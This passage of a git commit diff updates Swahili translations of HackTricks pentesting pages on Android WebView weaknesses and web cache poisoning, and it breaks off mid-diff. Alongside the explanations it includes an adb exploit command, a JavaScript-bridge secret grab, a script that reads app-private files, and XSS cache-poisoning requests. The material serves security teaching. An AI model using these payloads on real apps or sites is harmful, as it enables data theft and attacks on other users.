mirror of
https://github.com/carlospolop/hacktricks
synced 2025-02-18 15:08:29 +00:00
Translated ['mobile-pentesting/android-app-pentesting/webview-attacks.md
This commit is contained in:
parent
77028b3ce5
commit
5340e04b39
5 changed files with 451 additions and 274 deletions
mobile-pentesting/android-app-pentesting
pentesting-web
cache-deception.mdrace-condition.md
ssrf-server-side-request-forgery
ssti-server-side-template-injection
|
@ -2,115 +2,122 @@
|
|||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka mwanzo hadi kuwa bingwa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (Mtaalam wa Timu Nyekundu ya AWS ya HackTricks)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikionekana kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
||||
## Mwongozo Rahisi kuhusu Mipangilio na Usalama wa WebView
|
||||
## Mwongozo kuhusu Mipangilio na Usalama wa WebView
|
||||
|
||||
### Muhtasari wa Udhaifu wa WebView
|
||||
|
||||
Sehemu muhimu ya maendeleo ya Android inahusisha kushughulikia WebViews kwa usahihi. Mwongozo huu unasisitiza mipangilio muhimu na mazoea ya usalama ili kupunguza hatari zinazohusiana na matumizi ya WebView.
|
||||
Sehemu muhimu ya maendeleo ya Android inahusisha kushughulikia kwa usahihi WebViews. Mwongozo huu unasisitiza mipangilio muhimu na mazoea ya usalama ili kupunguza hatari zinazohusiana na matumizi ya WebView.
|
||||
|
||||
![Mfano wa WebView](../../.gitbook/assets/image%20(718).png)
|
||||
![Mfano wa WebView](<../../.gitbook/assets/image (718).png>)
|
||||
|
||||
### **Upatikanaji wa Faili katika WebViews**
|
||||
|
||||
Kwa chaguo-msingi, WebViews huruhusu upatikanaji wa faili. Utendaji huu unadhibitiwa na njia ya `setAllowFileAccess()`, inayopatikana tangu kiwango cha API ya Android 3 (Cupcake 1.5). Programu zilizo na ruhusa ya **android.permission.READ_EXTERNAL_STORAGE** zinaweza kusoma faili kutoka kwenye uhifadhi wa nje kwa kutumia mfumo wa URL ya faili (`file://path/to/file`).
|
||||
Kwa chaguo-msingi, WebViews huruhusu upatikanaji wa faili. Kazi hii inadhibitiwa na njia ya `setAllowFileAccess()`, inayopatikana tangu Android API kiwango cha 3 (Cupcake 1.5). Programu zilizo na idhini ya **android.permission.READ\_EXTERNAL\_STORAGE** zinaweza kusoma faili kutoka kwenye hifadhi ya nje kwa kutumia mpango wa URL wa faili (`file://path/to/file`).
|
||||
|
||||
#### **Vipengele Vilivyopitwa na Wakati: Upatikanaji wa Kila Aina Kutoka kwenye URL za Faili**
|
||||
#### **Vipengele Vilivyopitwa na Wakati: Upatikanaji wa Kila mahali Kutoka kwenye URL za Faili**
|
||||
|
||||
- **Upatikanaji wa Kila Aina Kutoka kwenye URL za Faili**: Kipengele hiki kilichopitwa na wakati kiliruhusu maombi kutoka kwenye URL za faili za asili, kwa kuweka hatari kubwa ya usalama kutokana na mashambulizi ya XSS. Mipangilio ya chaguo-msingi ni imelemazwa (`false`) kwa programu zinazolenga Android Jelly Bean na mpya zaidi.
|
||||
- Ili kuangalia mipangilio hii, tumia `getAllowUniversalAccessFromFileURLs()`.
|
||||
- Ili kubadilisha mipangilio hii, tumia `setAllowUniversalAccessFromFileURLs(boolean)`.
|
||||
|
||||
- **Upatikanaji wa Faili Kutoka kwenye URL za Faili**: Kipengele hiki pia kilichopitwa na wakati, kilidhibiti upatikanaji wa yaliyomo kutoka kwenye URL za mfumo wa faili nyingine. Kama upatikanaji wa kila aina, mipangilio yake ya chaguo-msingi ni imelemazwa kwa usalama bora.
|
||||
- Tumia `getAllowFileAccessFromFileURLs()` kuangalia na `setAllowFileAccessFromFileURLs(boolean)` kuweka.
|
||||
* **Upatikanaji wa Kila mahali Kutoka kwenye URL za Faili**: Kipengele kilichopitwa na wakati kiliruhusu maombi kutoka kwa URL za faili, kwa hivyo kikawa hatari kubwa ya usalama kutokana na mashambulizi ya XSS. Mipangilio ya chaguo-msingi ni imelemazwa (`false`) kwa programu zinazolenga Android Jelly Bean na mpya zaidi.
|
||||
* Ili kuangalia mipangilio hii, tumia `getAllowUniversalAccessFromFileURLs()`.
|
||||
* Ili kubadilisha mipangilio hii, tumia `setAllowUniversalAccessFromFileURLs(boolean)`.
|
||||
* **Upatikanaji wa Faili Kutoka kwenye URL za Faili**: Kipengele hiki, pia kilichopitwa na wakati, kilidhibiti upatikanaji wa maudhui kutoka kwenye URL za mpango wa faili nyingine. Kama upatikanaji wa kila mahali, chaguo-msingi ni imelemazwa kwa usalama bora.
|
||||
* Tumia `getAllowFileAccessFromFileURLs()` kuangalia na `setAllowFileAccessFromFileURLs(boolean)` kuweka.
|
||||
|
||||
#### **Upakiaji Salama wa Faili**
|
||||
|
||||
Ili kulemaza upatikanaji wa mfumo wa faili wakati bado unapata mali na rasilimali, njia ya `setAllowFileAccess()` hutumiwa. Kuanzia Android R na zaidi, mipangilio ya chaguo-msingi ni `false`.
|
||||
- Angalia na `getAllowFileAccess()`.
|
||||
- Wezesha au lemesha kwa kutumia `setAllowFileAccess(boolean)`.
|
||||
Kwa kulemaza upatikanaji wa mfumo wa faili lakini bado kupata mali na rasilimali, njia ya `setAllowFileAccess()` hutumiwa. Kuanzia Android R na zaidi, mipangilio ya chaguo-msingi ni `false`.
|
||||
|
||||
* Angalia na `getAllowFileAccess()`.
|
||||
* Wezesha au lemesha kwa kutumia `setAllowFileAccess(boolean)`.
|
||||
|
||||
#### **WebViewAssetLoader**
|
||||
|
||||
Darasa la **WebViewAssetLoader** ni njia ya kisasa ya kupakia faili za ndani. Inatumia URL za http(s) kwa kupata mali na rasilimali za ndani, ikilingana na sera ya Same-Origin, hivyo kuwezesha usimamizi wa CORS.
|
||||
Darasa la **WebViewAssetLoader** ni njia ya kisasa ya kupakia faili za ndani. Inatumia URL za http(s) kwa kupata mali na rasilimali za ndani, ikilingana na sera ya Asili-Sawa, hivyo kurahisisha usimamizi wa CORS.
|
||||
|
||||
### **Kushughulikia JavaScript na Schemes za Intent**
|
||||
### loadUrl
|
||||
|
||||
- **JavaScript**: Limelemazwa kwa chaguo-msingi katika WebViews, linaweza kuwezeshwa kupitia `setJavaScriptEnabled()`. Tahadhari inashauriwa kwani kuwezesha JavaScript bila ulinzi sahihi kunaweza kuleta udhaifu wa usalama.
|
||||
Hii ni kazi ya kawaida hutumiwa kupakia URL za kiholela katika webview:
|
||||
```java
|
||||
webview.loadUrl("<url here>")
|
||||
```
|
||||
### **Kudhibiti URL**
|
||||
|
||||
- **Schemes za Intent**: WebViews zinaweza kushughulikia mpango wa `intent`, ambao unaweza kusababisha udanganyifu ikiwa hautasimamiwa kwa uangalifu. Mfano wa udhaifu ulihusisha parameter ya WebView iliyofichuliwa "support_url" ambayo inaweza kutumiwa kutekeleza mashambulizi ya cross-site scripting (XSS).
|
||||
* **JavaScript**: Imezimwa kwa chaguo-msingi kwenye WebViews, inaweza kuwezeshwa kupitia `setJavaScriptEnabled()`. Tahadhari inashauriwa kwani kuwezesha JavaScript bila ulinzi sahihi kunaweza kuleta mapungufu ya usalama.
|
||||
* **Intent Scheme**: WebViews inaweza kushughulikia mpango wa `intent`, ikiongoza kwa uwezekano wa kudanganya ikiwa hautasimamiwa kwa uangalifu. Mfano wa udhaifu ulihusisha parameter ya WebView iliyofunuliwa "support\_url" ambayo inaweza kutumika kutekeleza mashambulizi ya kuvuka tovuti (XSS).
|
||||
|
||||
![WebView Inayoweza Kudukuliwa](../../.gitbook/assets/image%20(719).png)
|
||||
![WebView Inayoweza Kudukuliwa](<../../.gitbook/assets/image (719).png>)
|
||||
|
||||
Mfano wa kudukua kwa kutumia adb:
|
||||
Mfano wa kutumia unyonyaji kwa kutumia adb:
|
||||
|
||||
{% code overflow="wrap" %}
|
||||
```bash
|
||||
adb.exe shell am start -n com.tmh.vulnwebview/.SupportWebView –es support_url "https://example.com/xss.html"
|
||||
```
|
||||
{% endcode %}
|
||||
|
||||
### Daraja la Javascript
|
||||
|
||||
Kuna kipengele kinachotolewa na Android kinachowezesha **JavaScript** katika WebView kuita **kazi za programu za asili za Android**. Hii inafanikishwa kwa kutumia njia ya `addJavascriptInterface`, ambayo inaunganisha JavaScript na utendaji wa asili wa Android, inayoitwa _Daraja la JavaScript la WebView_. Tahadhari inashauriwa kwani njia hii inaruhusu kurasa zote ndani ya WebView kupata kifaa cha Uunganisho wa JavaScript kilichosajiliwa, ikileta hatari ya usalama ikiwa habari nyeti itafichuliwa kupitia interface hizi.
|
||||
Kipengele kinachotolewa na Android kinachowezesha **JavaScript** katika WebView kuita **kazi za programu za asili za Android**. Hii inafanikishwa kwa kutumia njia ya `addJavascriptInterface`, ambayo inaunganisha JavaScript na kazi za asili za Android, inayoitwa _Daraja la JavaScript la WebView_. Tahadhari inashauriwa kwani njia hii inaruhusu kurasa zote ndani ya WebView kupata ufikivu wa kitu cha Kuingiliana cha JavaScript kilichosajiliwa, ikileta hatari ya usalama ikiwa taarifa nyeti itafunuliwa kupitia viunganishi hivi.
|
||||
|
||||
### Mambo Muhimu ya Kuzingatia
|
||||
|
||||
- **Tahadhari kubwa inahitajika** kwa programu zinazolenga toleo la Android chini ya 4.2 kutokana na udhaifu unaoruhusu utekelezaji wa nambari kwa mbali kupitia JavaScript mbaya, ukichangamkia uchunguzi.
|
||||
* **Tahadhari kali inahitajika** kwa programu zinazolenga toleo la Android chini ya 4.2 kutokana na udhaifu unaoruhusu utekelezaji wa kanuni kwa mbali kupitia JavaScript yenye nia mbaya, ikichexploitisha uangavu.
|
||||
|
||||
#### Kutekeleza Daraja la JavaScript
|
||||
|
||||
- **Vifaa vya JavaScript** vinaweza kuingiliana na nambari ya asili, kama inavyoonyeshwa katika mifano ambapo njia ya darasa inafichuliwa kwa JavaScript:
|
||||
* **Viunganishi vya JavaScript** vinaweza kuingiliana na kanuni ya asili, kama inavyoonekana katika mifano ambapo njia ya darasa inafunuliwa kwa JavaScript:
|
||||
```javascript
|
||||
@JavascriptInterface
|
||||
public String getSecret() {
|
||||
return "SuperSecretPassword";
|
||||
};
|
||||
```
|
||||
- JavaScript Bridge inawezeshwa kwa kuongeza kiolesura kwenye WebView:
|
||||
* JavaScript Bridge inawezeshwa kwa kuongeza kiolesura kwa WebView:
|
||||
```javascript
|
||||
webView.addJavascriptInterface(new JavascriptBridge(), "javascriptBridge");
|
||||
webView.reload();
|
||||
```
|
||||
- Uwezekano wa kutumia JavaScript, kwa mfano, kupitia shambulio la XSS, inawezesha wito wa njia za Java zilizofichuliwa:
|
||||
* Uwezekano wa kutumia JavaScript, kwa mfano, kupitia shambulio la XSS, inawezesha wito wa njia za Java zilizofichuliwa:
|
||||
```html
|
||||
<script>alert(javascriptBridge.getSecret());</script>
|
||||
```
|
||||
- Ili kupunguza hatari, **zuia matumizi ya daraja la JavaScript** kwa nambari iliyosafirishwa na APK na zuia kupakia JavaScript kutoka vyanzo vya mbali. Kwa vifaa vya zamani, weka kiwango cha chini cha API kuwa 17.
|
||||
* Ili kupunguza hatari, **zuia matumizi ya daraja la JavaScript** kwa nambari iliyotumwa na APK na zuia kupakia JavaScript kutoka vyanzo vya mbali. Kwa vifaa vya zamani, weka kiwango cha chini cha API kuwa 17.
|
||||
|
||||
### Utekelezaji wa Kijijini wa Kanuni ya Mbali (RCE)
|
||||
### Utekelezaji wa Nambari ya Mbali kwa Kutumia Uakisi (RCE)
|
||||
|
||||
- Mbinu iliyodokumentiwa inaruhusu kufikia RCE kupitia uchunguzi kwa kutekeleza mzigo maalum. Walakini, alama ya `@JavascriptInterface` inazuia ufikiaji usioidhinishwa wa njia, ikipunguza eneo la shambulio.
|
||||
* Mbinu iliyodokumentiwa inaruhusu kufikia RCE kupitia uakisi kwa kutekeleza mzigo maalum. Hata hivyo, alama ya `@JavascriptInterface` inazuia ufikiaji usioidhinishwa wa njia, ikipunguza eneo la shambulio.
|
||||
|
||||
### Uchunguzi wa Mbali
|
||||
### Upelelezi wa Mbali
|
||||
|
||||
- **Uchunguzi wa mbali** unawezekana na **Zana za Watengenezaji wa Chrome**, kuruhusu mwingiliano na utekelezaji wa JavaScript usio na kikomo ndani ya yaliyomo ya WebView.
|
||||
* **Upelelezi wa mbali** unawezekana na **Zana za Watengenezaji wa Chrome**, kuruhusu mwingiliano na utekelezaji wa JavaScript wa kiholela ndani ya yaliyomo kwenye WebView.
|
||||
|
||||
#### Kuwezesha Uchunguzi wa Mbali
|
||||
#### Kuwezesha Upelelezi wa Mbali
|
||||
|
||||
- Uchunguzi wa mbali unaweza kuwezeshwa kwa WebViews zote ndani ya programu kwa:
|
||||
* Upelelezi wa mbali unaweza kuwezeshwa kwa WebViews zote ndani ya programu kwa:
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
WebView.setWebContentsDebuggingEnabled(true);
|
||||
}
|
||||
```
|
||||
- Ili kuwezesha uchunguzi kwa msingi wa hali ya kufuatilia ya programu:
|
||||
* Ili kuwezesha upelelezi kwa msingi wa hali ya kuhakiki ya programu:
|
||||
```java
|
||||
if (Build.VERSION.SDK_INT >= Build.VERSION_CODES.KITKAT) {
|
||||
if (0 != (getApplicationInfo().flags & ApplicationInfo.FLAG_DEBUGGABLE))
|
||||
{ WebView.setWebContentsDebuggingEnabled(true); }
|
||||
}
|
||||
```
|
||||
## Kupora faili yoyote
|
||||
## Kutuma faili za kiholela
|
||||
|
||||
- Inaonyesha jinsi ya kupora faili yoyote kwa kutumia XMLHttpRequest:
|
||||
* Inaonyesha kutuma faili za kiholela kwa kutumia XMLHttpRequest:
|
||||
```javascript
|
||||
var xhr = new XMLHttpRequest();
|
||||
xhr.onreadystatechange = function() {
|
||||
|
@ -122,20 +129,23 @@ xhr.open('GET', 'file:///data/data/com.authenticationfailure.wheresmybrowser/dat
|
|||
xhr.send(null);
|
||||
```
|
||||
## Marejeo
|
||||
|
||||
* [https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html](https://labs.integrity.pt/articles/review-android-webviews-fileaccess-attack-vectors/index.html)
|
||||
* [https://github.com/authenticationfailure/WheresMyBrowser.Android](https://github.com/authenticationfailure/WheresMyBrowser.Android)
|
||||
* [https://developer.android.com/reference/android/webkit/WebView](https://developer.android.com/reference/android/webkit/WebView)
|
||||
* [https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1](https://medium.com/@justmobilesec/deep-links-webviews-exploitations-part-ii-5c0b118ec6f1)
|
||||
* [https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I](https://www.justmobilesec.com/en/blog/deep-links-webviews-exploitations-part-I)
|
||||
|
||||
<details>
|
||||
|
||||
<summary><strong>Jifunze kuhusu kudukua AWS kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
<summary><strong>Jifunze AWS hacking kutoka sifuri hadi shujaa na</strong> <a href="https://training.hacktricks.xyz/courses/arte"><strong>htARTE (HackTricks AWS Red Team Expert)</strong></a><strong>!</strong></summary>
|
||||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako inatangazwa kwenye HackTricks** au **kupakua HackTricks kwa muundo wa PDF** Angalia [**MPANGO WA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**swag rasmi ya PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**The PEASS Family**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au [**kikundi cha telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks_live)**.**
|
||||
* **Shiriki mbinu zako za kudukua kwa kuwasilisha PR kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) github repos.
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) ya kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
* **Shiriki mbinu zako za kuhack kwa kuwasilisha PRs kwa** [**HackTricks**](https://github.com/carlospolop/hacktricks) na [**HackTricks Cloud**](https://github.com/carlospolop/hacktricks-cloud) repos za github.
|
||||
|
||||
</details>
|
||||
|
|
|
@ -6,7 +6,7 @@
|
|||
|
||||
Njia nyingine za kusaidia HackTricks:
|
||||
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA KUJIUNGA**](https://github.com/sponsors/carlospolop)!
|
||||
* Ikiwa unataka kuona **kampuni yako ikitangazwa kwenye HackTricks** au **kupakua HackTricks kwa PDF** Angalia [**MIPANGO YA USAJILI**](https://github.com/sponsors/carlospolop)!
|
||||
* Pata [**bidhaa rasmi za PEASS & HackTricks**](https://peass.creator-spring.com)
|
||||
* Gundua [**Familia ya PEASS**](https://opensea.io/collection/the-peass-family), mkusanyiko wetu wa [**NFTs**](https://opensea.io/collection/the-peass-family) za kipekee
|
||||
* **Jiunge na** 💬 [**Kikundi cha Discord**](https://discord.gg/hRep4RUj7f) au kikundi cha [**telegram**](https://t.me/peass) au **tufuate** kwenye **Twitter** 🐦 [**@carlospolopm**](https://twitter.com/hacktricks\_live)**.**
|
||||
|
@ -17,7 +17,7 @@ Njia nyingine za kusaidia HackTricks:
|
|||
<figure><img src="../.gitbook/assets/image (3) (1) (1) (1) (1).png" alt=""><figcaption></figcaption></figure>
|
||||
|
||||
\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia mifumo ya kazi** kwa urahisi ikiwa na zana za **jamii za juu zaidi** ulimwenguni.\
|
||||
Tumia [**Trickest**](https://trickest.com/?utm\_campaign=hacktrics\&utm\_medium=banner\&utm\_source=hacktricks) kujenga na **kutumia mifumo ya kazi** kwa kutumia zana za **jamii ya juu zaidi** ulimwenguni.\
|
||||
Pata Ufikiaji Leo:
|
||||
|
||||
{% embed url="https://trickest.com/?utm_campaign=hacktrics&utm_medium=banner&utm_source=hacktricks" %}
|
||||
|
@ -35,9 +35,9 @@ Kufyonza cache inalenga kubadilisha cache upande wa mteja ili kulazimisha wateja
|
|||
|
||||
Utekelezaji wa shambulio la kufyonza cache unajumuisha hatua kadhaa:
|
||||
|
||||
1. **Ugunduzi wa Vipengele Visivyo na Kichawi**: Hivi ni vipengele ambavyo, ingawa sio lazima kwa ombi kuhifadhiwa kwenye cache, vinaweza kubadilisha jibu linalorudishwa na seva. Kutambua vipengele hivi ni muhimu kwani vinaweza kutumiwa kudanganya cache.
|
||||
2. **Kutumia Vipengele Visivyo na Kichawi**: Baada ya kutambua vipengele visivyo na kichawi, hatua inayofuata ni kugundua jinsi ya kutumia vipengele hivi kwa njia ambayo inanufaisha mkaidi kubadilisha jibu la seva.
|
||||
3. **Kuhakikisha Jibu Lililofyonzwa linahifadhiwa kwenye Cache**: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa limewekwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayepata ukurasa ulioathiriwa wakati wa kufyonza cache atapokea jibu lililochafuliwa.
|
||||
1. **Ugunduzi wa Vipengele Visivyo na Kichwa**: Hivi ni vipengele ambavyo, ingawa havihitajiki kwa ombi kuhifadhiwa kwenye cache, vinaweza kubadilisha jibu linalorudishwa na seva. Kutambua vipengele hivi ni muhimu kwani vinaweza kutumiwa kudanganya cache.
|
||||
2. **Kutumia Vipengele Visivyo na Kichwa**: Baada ya kutambua vipengele visivyo na kichwa, hatua inayofuata ni kugundua jinsi ya kutumia vipengele hivi kudanganya majibu ya seva kwa njia inayonufaisha mkaidi.
|
||||
3. **Kuhakikisha Jibu Lililofyonzwa Linahifadhiwa kwenye Cache**: Hatua ya mwisho ni kuhakikisha kwamba jibu lililobadilishwa limewekwa kwenye cache. Kwa njia hii, mtumiaji yeyote anayepata ukurasa ulioathiriwa wakati wa kufyonza cache atapokea jibu lililochafuliwa.
|
||||
|
||||
### Ugunduzi: Angalia vichwa vya HTTP
|
||||
|
||||
|
@ -47,9 +47,9 @@ Kawaida, wakati jibu limewekwa kwenye cache kutakuwa na **kichwa kinachoonyesha
|
|||
|
||||
Ikiwa unadhani kwamba jibu linawekwa kwenye cache, unaweza kujaribu **kutuma maombi na kichwa kibaya**, ambacho kinapaswa kujibiwa na **msimbo wa hali 400**. Kisha jaribu kupata ombi kawaida na ikiwa **jibu ni msimbo wa hali 400**, unajua kuwa ni dhaifu (na hata unaweza kufanya DoS).\
|
||||
Kichwa kilichopangwa vibaya kinaweza kuwa tu `\:` kama kichwa.\
|
||||
_Tafadhali kumbuka kwamba mara nyingine msimbo wa hali kama hizi hauhifadhiwi kwa hivyo jaribio hili litakuwa la bure._
|
||||
_Taarifa kwamba mara nyingine msimbo wa hali kama hizi hauhifadhiwi kwa hivyo jaribio hili litakuwa la bure._
|
||||
|
||||
### Ugunduzi: Kutambua na kutathmini vipengele visivyo na kichawi
|
||||
### Ugunduzi: Kutambua na kutathmini vipengele visivyo na kichwa
|
||||
|
||||
Unaweza kutumia [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c4b7ca092728dba871943) kufanya **nguvu ya kutumia vigezo na vichwa** ambavyo vinaweza **kubadilisha jibu la ukurasa**. Kwa mfano, ukurasa unaweza kutumia kichwa `X-Forwarded-For` kuonyesha mteja kupakia skripti kutoka hapo:
|
||||
```markup
|
||||
|
@ -57,24 +57,24 @@ Unaweza kutumia [**Param Miner**](https://portswigger.net/bappstore/17d2949a985c
|
|||
```
|
||||
### Kusababisha majibu mabaya kutoka kwa seva ya nyuma
|
||||
|
||||
Baada ya kutambua parameter/header, angalia jinsi inavyo **safishwa** na **eneo** ambapo inaathiri majibu kutoka kwa header. Je, unaweza kuitumia kwa njia yoyote (kufanya XSS au kupakia msimbo wa JS unaodhibitiwa na wewe? kufanya DoS?...)
|
||||
Pamoja na kipengele/kichwa kilichotambuliwa, angalia jinsi kinavyo **safishwa** na **eneo** ambapo linakuwa linajitokeza au kuathiri majibu kutoka kwa kichwa. Je, unaweza kulitumia kwa njia yoyote (kufanya XSS au kupakia nambari ya JS inayodhibitiwa na wewe? kufanya DoS?...)
|
||||
|
||||
### Pata jibu lililohifadhiwa
|
||||
|
||||
Baada ya **kutambua** **ukurasa** unao weza kutumiwa vibaya, ni **parameter**/**header** gani ya kutumia na **jinsi** ya **kuitumia**, unahitaji kupata ukurasa uliohifadhiwa. Kulingana na rasilimali unayojaribu kupata kwenye cache hii inaweza kuchukua muda fulani, unaweza kuhitaji kujaribu kwa sekunde kadhaa.\
|
||||
Header **`X-Cache`** katika majibu inaweza kuwa muhimu kwani inaweza kuwa na thamani **`miss`** wakati ombi halijahifadhiwa na thamani **`hit`** wakati inahifadhiwa.\
|
||||
Header **`Cache-Control`** pia ni muhimu kujua ikiwa rasilimali inahifadhiwa na lini itahifadhiwa tena: `Cache-Control: public, max-age=1800`\
|
||||
Header nyingine muhimu ni **`Vary`**. Header hii mara nyingi hutumiwa kuonyesha headers ziada ambazo huchukuliwa kama sehemu ya ufunguo wa cache hata kama kawaida hazina ufunguo. Kwa hivyo, ikiwa mtumiaji anajua `User-Agent` wa muhanga anayelenga, anaweza kuharibu cache kwa watumiaji wanaotumia `User-Agent` hiyo maalum.\
|
||||
Header nyingine inayohusiana na cache ni **`Age`**. Inaainisha nyakati kwa sekunde ambazo kitu kimekuwa kwenye cache ya proksi.
|
||||
Baada ya **kutambua** **ukurasa** ambao unaweza kutumiwa vibaya, ni **kipengele**/**kichwa** gani cha kutumia na **jinsi** ya **kulitumia**, unahitaji kupata ukurasa uliohifadhiwa. Kulingana na rasilimali unayojaribu kupata kwenye cache hii inaweza kuchukua muda fulani, unaweza kulazimika kujaribu kwa sekunde kadhaa.\
|
||||
Kichwa cha **`X-Cache`** katika jibu linaweza kuwa na manufaa sana kwani inaweza kuwa na thamani **`miss`** wakati ombi halijahifadhiwa na thamani **`hit`** wakati linahifadhiwa.\
|
||||
Kichwa cha **`Cache-Control`** pia ni cha kuvutia kujua ikiwa rasilimali inahifadhiwa na lini itahifadhiwa tena: `Cache-Control: public, max-age=1800`\
|
||||
Kichwa kingine cha kuvutia ni **`Vary`**. Kichwa hiki mara nyingi hutumiwa kuonyesha vichwa vingine vinavyotambuliwa kama sehemu ya ufunguo wa cache hata kama kawaida havina ufunguo. Kwa hivyo, ikiwa mtumiaji anajua `User-Agent` wa muathiriwa anayelengwa, anaweza kudhuru cache kwa watumiaji wanaotumia `User-Agent` hiyo maalum.\
|
||||
Kichwa kingine kinachohusiana na cache ni **`Age`**. Hii inaainisha nyakati kwa sekunde ambazo kitu kimekuwa kwenye cache ya proksi.
|
||||
|
||||
Unapohifadhi ombi, **kuwa mwangalifu na headers unazotumia** kwa sababu baadhi yao zinaweza kutumika kwa njia isiyotarajiwa kama **keyed** na muhanga atahitaji kutumia header hiyo hiyo. Daima **jaribu** Cache Poisoning na **vivinjari tofauti** kuhakikisha kuwa inafanya kazi.
|
||||
Unapohifadhi ombi, **kuwa makini na vichwa unavyotumia** kwa sababu baadhi yao yanaweza kutumika kwa njia isiyotarajiwa kama **vifunguo** na muathiriwa atahitaji kutumia kichwa hicho hicho. Daima **jaribu** Uchafuzi wa Cache na **vivinjari tofauti** kuhakikisha kuwa inafanya kazi.
|
||||
|
||||
## Mifano ya Kutumia Vibaya
|
||||
|
||||
### Mfano Rahisi Zaidi
|
||||
|
||||
Header kama `X-Forwarded-For` inaonyeshwa katika majibu bila kusafishwa.\
|
||||
Unaweza kutuma mzigo wa XSS wa msingi na kuharibu cache ili kila mtu anayefikia ukurasa atakuwa na XSS:
|
||||
Kichwa kama `X-Forwarded-For` kinajitokeza katika majibu bila kusafishwa.\
|
||||
Unaweza kutuma mzigo wa XSS wa msingi na kudhuru cache ili kila mtu anayefikia ukurasa atakuwa na XSS:
|
||||
```markup
|
||||
GET /en?region=uk HTTP/1.1
|
||||
Host: innocent-website.com
|
||||
|
@ -92,11 +92,11 @@ Cookie: session=VftzO7ZtiBj5zNLRAuFpXpSQLjS4lBmU; fehost=asd"%2balert(1)%2b"
|
|||
```
|
||||
### Kujaza cache na kufuatilia njia ili kuiba funguo ya API <a href="#using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities" id="using-multiple-headers-to-exploit-web-cache-poisoning-vulnerabilities"></a>
|
||||
|
||||
